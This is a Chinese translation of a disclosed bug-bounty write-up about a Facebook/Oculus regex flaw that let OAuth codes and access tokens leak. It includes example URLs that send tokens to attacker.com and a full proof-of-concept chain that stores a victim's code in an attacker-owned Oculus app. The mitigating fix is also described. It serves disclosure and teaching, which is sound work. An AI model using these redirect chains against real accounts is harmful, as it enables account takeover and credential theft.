错误的响应可能会造成Facebook帐户被恶意接管 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

错误的响应可能会造成Facebook帐户被恶意接管

luochicun 新闻 2021-04-25 09:56:45
164575
收藏

导语:此错误可能允许恶意用户窃取第一方Facebook应用程序的access_token/code,并使用它来接管Facebook帐户。

此错误可能允许恶意用户窃取第一方Facebook应用程序的access_token/code,并使用它来接管Facebook帐户。发生这种情况的原因是,在将ajaxpipe或quickling参数添加到Facebook构建的任何网站中的任何请求的终端时,返回了一些预格式化的脚本。

对发送到任何Facebook终端/页面的请求的响应可能会以不同于通常格式的方式返回:正常响应将是HTML页面,其中包含终端正在提供的数据或功能。但是,如果不需要向用户显示请求的终端/页面的内容,但是另一页面需要返回的数据,可以将ajaxpipe或quickling等参数添加到请求中,这将导致页面的内容不显示,而是通过调用一个名为require的函数和一个名为JSONPTransport的模块转移到父窗口。这通常是作为执行ajax请求的另一种方式来完成的。这样的请求的响应包含了前面的参数,就像这样:

image.png

此时该脚本用于将页面的内容传输到父窗口(如果源相同),但是如果当前窗口位于顶部,则它将执行一些正则表达式匹配,以在删除所有quickling/ajaxpipe/ajaxpipe_token 参数出现的拼写错误之后更改页面的位置。当然,这里会检查并修改window.location.search,因为它将返回当前URL的querystring部分。

这里的错误是,正则表达式不能正确执行,这样攻击者就可以滥用它,进行一些攻击。首先让我们先找出这里的问题所在:

1.如果我们分析代码,就会注意到Java替换方法用于使用正则表达式匹配来修改location.search值。由于使用正则表达式匹配的所有内容都将被替换为“”,因此将被删除。

2.正则表达式的参数名称(quickling | ajaxpipe | ajaxpipe_token)放在“ \ b”锚之间,这将使单词仅与它们匹配(这些字符串在非单词字符之间找到)。然后,它将查找零次或多次出现的字符&。使用了g修饰符,这意味着它将执行全局匹配(不会在第一次匹配时返回)。例如,如果我们将查询字符串部分设为“?ajaxpipe = 1&test = value”,则此正则表达式将匹配ajaxpipe = 1&并将其删除。

第一个问题是在正则表达式的开头使用了锚“ \ b”,它将在出现上述单词之前查找非单词字符(应在此组集中找不到任何字符[A-Za-z0-9_ ]进行匹配)。但是,这将允许在诸如(?,–,=)之类的单词之前包含其他字符,这将在以后的攻击中提供很大帮助。

第二个问题是,此正则表达式将匹配这些单词在url的查询字符串部分中的任何位置,而不仅是将它们作为参数名称来匹配。这也与第一个问题有关或由第一个问题引起。确保这些单词是参数名称的一种方法是检查在它们之前是否有&字符或单词是在字符串的开头A ?字符(使用^\?)。举个例子,如果我们取url " ?Testing =ajaxpipe=random ",那么ajaxpipe=random将被匹配,即使它是提供给参数的值,而不是参数名。最终的问题是使用了g修饰符,该修饰符可以进行多次匹配。 querystring部分可以包含单词ajaxpipe / quickling / ajaxpipe_token作为参数名称,同时还包含提供给其他参数的值。匹配完成后,将替换参数以及其他参数内部的值。这将使我们能够利用先前的问题来全面构建可利用的漏洞利用程序。

如果你想更好地了解正则表达式的工作原理,请尝试使用regex101或regexr。

总结一下我的想法:

让我们以以下网址为例:

https://www.facebook.com/endpoint?ajaxpipe=1&redirect_uri=https://attacker.com/?code=ajaxpipe=2&token=ACCESS_TOKEN。

参数ajaxpipe = 1将导致返回开头描述的响应。由于窗口位于顶部,因此正则表达式将尝试替换ajaxpipe参数。它将首先匹配ajaxpipe = 1&,然后由于问题1和2,也将匹配ajaxpipe = 2&(它们导致字符=在ajaxpipe = random之前被允许,而且不是参数名而是参数值) 。

这两个匹配项将被删除,页面将被重定向到:

https://www.facebook.com/endpoint?redirect_uri=https://attacker.com/?code=token=ACCESS_TOKEN。

这里发生的是,参数token = ACCESS_TOKEN成为了redirect_uri参数内的值的一部分,并被格式化为将值作为值附加到redirect_uri内URL内的代码参数的方式。另外,ajaxpipe=1参数被删除,这导致返回的页面响应是正常的响应。

现在,如果终端将重定向到redirect_uri内部的URL,它将导致重定向到https://attacker.com/?code=token=ACCESS_TOKEN,这会将ACCESS_TOKEN泄露给攻击者。此处预期的安全行为是重定向到https://attacker.com/?code=ajaxpipe=2。

我利用这种行为来实现了接管Facebook / Oculus帐户的可能性。由于这存在于大量的Facebook网站(facebook.com,oculus.com,messenger.com…)中,我有一个很大的范围去寻找一种方法来滥用它:

1.要登录到你的Oculus帐户,你应该访问https://auth.oculus.com/login/。该页面允许你使用Facebook登录到你的帐户。如果你已经登录到Facebook,并且已经将Oculus帐户链接到你的Facebook帐户,则访问此页面将导致你自动登录到你的Oculus帐户(Facebook Javascript SDK向Facebook.com和通过/ x / oauth / status终端获取access_token)。

2.你还可以使用OAuth流(/ dialog / oauth终端)从Facebook请求用于Oculus登录的代码。 URL示例如下:https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login/&response_type=code。这将重定向到https://auth.oculus.com/login/?code=FB_CODE。

3.Oculus应用程序的redirect_uri可以在https://auth.oculus.com/login之后附加任何字符串。这意味着我们可以添加其他参数或更改回调终端。

4.有一个终端https://auth.oculus.com/login-without-facebook/,它接受一个名为redirect_uri的参数。如果用户已经登录到Oculus,它将重定向到redirect_uri内部的URL。我们可以在Facebook OAuth流中的redirect_uri中使用此终端。

第一次尝试

我们结合先前的事实来进行第一次攻击,受害者访问此URL:

https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login-without-facebook/?ajaxpipe=1%26redirect_uri=https://ysamm .com /?code = ajaxpipe&response_type = code

这将重定向到https://auth.oculus.com/login-without-facebook/?ajaxpipe=1&redirect_uri=https%3a//ysamm.com/%3fcode%3dajaxpipe&code=FACEBOOK_CODE。由于我们有一个ajaxpipe参数,因此将返回第二个响应格式,并使用正则表达式进行替换。突出显示的部分将被删除。第二个ajaxpipe&不会在此处删除,因为浏览器将对参数的值进行URL编码,这将导致=字符被%3d替换。由于d在ajaxpipe之前,并且是一个字字符,因此即使受到攻击,匹配也会失败。

第二次尝试

如果在参数值中找到字符,我会寻找这些字符不是由浏览器进行URL编码的字符。我发现–未对URL进行编码,因此我在第二个ajaxpipe之前插入了它:

https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https://auth.oculus.com/login-without-facebook/?ajaxpipe=1%26redirect_uri=https://ysamm .com /?code = -ajaxpipe&response_type = code

此URL将导致重定向到https://auth.oculus.com/login-without-facebook/?ajaxpipe=1&redirect_uri=https%3a//ysamm.com/%3fcode%3d-ajaxpipe&code=FACEBOOK_CODE

由于现在两个ajaxpipe都使用正则表达式进行匹配,因此将导致另一个重定向(因为如果你没有注意到,上述脚本将在删除后为window.location.search分配一个新值)到https:// auth。 oculus.com/login-without-facebook/?redirect_uri=https%3a//ysamm.com/%3fcode%3d-code=FACEBOOK_CODE

如果你在此处注意到代码= FACEBOOK_CODE附加在参数redirect_uri的值后面,而不是单独的参数。如果login-without-facebook终端将重定向到redirect_uri参数中的URL,则最终我们将被重定向到https://ysamm.com/?code=-code=FACEBOOK_CODE,尽管窃取了受害者的Facebook OAuth代码。不幸的是,该终端已经设置了针对开放重定向的保护,因此我不得不找到一种方法,可以通过重定向到列入白名单的域来泄漏代码。

第三次也是最后一次尝试

API终端https://graph.oculus.com/{OC_APP_ID}/achievement_definitions可用于为某个拥有的oculus应用程序创建新的成就定义。终端接受许多参数,其中一些参数将被保存,稍后我们可以获取它们。要向此API终端发出请求,我们可以在最终URL中包含我们自己的应用程序凭据,以发送给受害者。我们可以使用其中一个参数,例如description字段,该字段应填充受害者代码。稍后可以通过首先获取https://graph.oculus.com/{OC_APP_ID}/achievement_definitions?method=get&access_token=OC|ATTACKER_APP_ID|APP_SECRET来检索代码。这将返回成就ID列表,每个id都将引用不同的存储代码。要检索代码:

https://graph.oculus.com/{ACHIEVEMENT_ID}?fields=description&method=get&access_token=OC|ATTACKER_APP_ID|APP_SECRET。我们会在说明字段中找到“ -code = CODE_HERE”。

概念证明

https://www.facebook.com/v3.1/dialog/oauth?app_id=1517832211847102&redirect_uri=https%3A%2F%2Fauth.oculus.com%2Flogin-without-facebook%2F%3Fajaxpipe%3D1%26redirect_uri%3Dhttps%253a%2F%2Fgraph.oculus.com%2FATTACKER_APP_ID%2Fachievement_definitions%253fmethod%253dpost%2526access_token%253dOC|ATTACKER_APP_ID|ATTACKER_APP_SECRET%2526api_name%253dVISIT_3_CONTINENTS%2526achievement_type%253dBITFIELD%2526achievement_write_policy%253dCLIENT_AUTHORITATIVE%2526target%253d3%2526bitfield_length%253d7%2526is_archived%253dfalse%2526title%253dAchievement%2526unlocked_description_override%253dYou%252bdid%252bit%2526is_secret%253dfalse%2526description%253d-ajaxpipe&response_type=code

其中OC | ATTACKER_APP_ID | ATTACKER_APP_SECRET是攻击者拥有的Oculus应用程序凭证

该网址将重定向到:

https://auth.oculus.com/login-without-facebook/?ajaxpipe=1&redirect_uri=https%3A%2F%2Fgraph.oculus.com%2FATTACKER_APP_ID%2Fachievement_definitions%3Fmethod%3Dpost%26access_token%3DOC%7CATTACKER_APP_ID%7CATTACKER_APP_SECRET%26api_name%3DVISIT_3_CONTINENTS%26achievement_type%3DBITFIELD%26achievement_write_policy%3DCLIENT_AUTHORITATIVE%26target%3D3%26bitfield_length%3D7%26is_archived%3Dfalse%26title%3DAchievement%26unlocked_description_override%3DYou%2Bdid%2Bit%26is_secret%3Dfalse%26description%3D-ajaxpipe&code=VICTIM_CODE

这将导致返回第二个格式响应,并且正则表达式试图删除ajaxpipe单词外观,它应该重定向到以下URL:

https://auth.oculus.com/login-without-facebook/?redirect_uri=https%3A%2F%2Fgraph.oculus.com%2FATTACKER_APP_ID%2Fachievement_definitions%3Fmethod%3Dpost%26access_token%3DOC%7CATTACKER_APP_ID%7CATTACKER_APP_SECRET%26api_name%3DVISIT_3_CONTINENTS%26achievement_type%3DBITFIELD%26achievement_write_policy%3DCLIENT_AUTHORITATIVE%26target%3D3%26bitfield_length%3D7%26is_archived%3Dfalse%26title%3DAchievement%26unlocked_description_override%3DYou%2Bdid%2Bit%26is_secret%3Dfalse%26description%3D-code=VICTIM_CODE

代码参数已附加到redirect_uri,由于graph.oculus.com是一个列入白名单的域,因此终端/ login-without-facebook /将重定向到redirect_uri内部的URL:

https://graph.oculus.com/ATTACKER_APP_ID/achievement_definitions?method=post&access_token=OC|ATTACKER_APP_ID|ATTACKER_APP_SECRET&api_name=VISIT_3_CONTINENTS&achievement_type=BITFIELD&achievement_write_policy=CLIENT_AUTHORITATIVE&target=3&bitfield_length=7&is_archived=false&title=Achievement&unlocked_description_override=You+did+it&is_secret=false&description=-code=VICTIM_CODE

由于access_token有效,因此应使用值为-code = VICTIM_CODE的字段描述创建新的成就定义。

我们可以通过查询创建的成就定义数据来获取受害者代码,获取代码将使我们能够访问Oculus帐户。访问Oculus帐户后,我们可以获取Facebook access_token并将其用于接管Facebook帐户。

缓解措施

Facebook通过使用更严格的正则表达式删除ajaxpipe单词来解决此问题:

window.location.search.replace(/(^\?|&)(quickling|ajaxpipe|ajaxpipe_token)\b[^&]*&?/g, “$1”)。

注意,现在所有前面提到的问题都已缓解。现在,它确保只有在字符&或开头是?时,这些单词才匹配。^在这里很重要,而不仅仅是检查?,因为在浏览器未对参数值进行URL编码的情况下,这可能会导致绕过,因为我们在poc中可以使用description =?ajaxpipe&而不是description = -ajaxpipe&。

本文翻译自:https://ysamm.com/?p=654如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务